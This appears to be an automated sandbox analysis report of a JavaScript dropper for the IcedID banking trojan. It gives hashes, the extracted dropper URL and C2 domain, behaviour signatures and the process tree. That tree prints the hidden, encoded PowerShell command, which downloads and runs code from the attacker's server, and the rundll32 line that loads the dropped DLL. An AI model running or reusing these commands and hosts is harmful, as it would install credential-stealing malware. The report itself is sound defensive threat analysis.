Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    18-03-2023 06:15

General

  • Target

    Unpaid_03_17_Copy#82.js

  • Size

    12KB

  • MD5

    bef0e81b04fdf1c19a5c7fee8e1974e4

  • SHA1

    956020f277d64abfe742ba8687853f6fc5052689

  • SHA256

    f1481a3f86cdaee1e707bb93e26adedf3bb7665ed840431c6c1c473a41e9fa67

  • SHA512

    940d4629db1a91d292c8537cad16b16bc04ac3b2f28f3dcf2eeba7910b22b841d4ec815f66a88c82e9258dff04ea8bcd13626752a063ef313416c0f9a6404d2c

  • SSDEEP

    192:zm0KUNutRNkR3aEfiHEiAuaWF3Kc0medXPcNjPnqUOR6n6m2Kj:z4UNu3NIaXEifRKc08Nj/rjF

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://conalom.top/gatef1.php

Extracted

Family

icedid

Campaign

946873669

C2

umoxlopator.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Unpaid_03_17_Copy#82.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\TSzVUg.dat init
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:1324

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TSzVUg.dat
    Filesize

    797KB

    MD5

    b0ad6d2d4c031bdba529c80b9b2957e7

    SHA1

    153a5ba4665cbcd79afff27d27864f498284d9c0

    SHA256

    9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

    SHA512

    f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

  • \Users\Admin\AppData\Local\Temp\TSzVUg.dat
    Filesize

    797KB

    MD5

    b0ad6d2d4c031bdba529c80b9b2957e7

    SHA1

    153a5ba4665cbcd79afff27d27864f498284d9c0

    SHA256

    9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

    SHA512

    f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

  • memory/1164-59-0x00000000027A0000-0x0000000002820000-memory.dmp
    Filesize

    512KB

  • memory/1164-60-0x000000001B220000-0x000000001B502000-memory.dmp
    Filesize

    2MB

  • memory/1164-61-0x0000000002310000-0x0000000002318000-memory.dmp
    Filesize

    32KB

  • memory/1164-62-0x00000000027A0000-0x0000000002820000-memory.dmp
    Filesize

    512KB

  • memory/1164-63-0x00000000027A0000-0x0000000002820000-memory.dmp
    Filesize

    512KB

  • memory/1324-67-0x0000000000120000-0x0000000000129000-memory.dmp
    Filesize

    36KB

  • memory/1324-74-0x00000000027A0000-0x0000000002820000-memory.dmp
    Filesize

    512KB

  • memory/1324-75-0x00000000027A0000-0x0000000002820000-memory.dmp
    Filesize

    512KB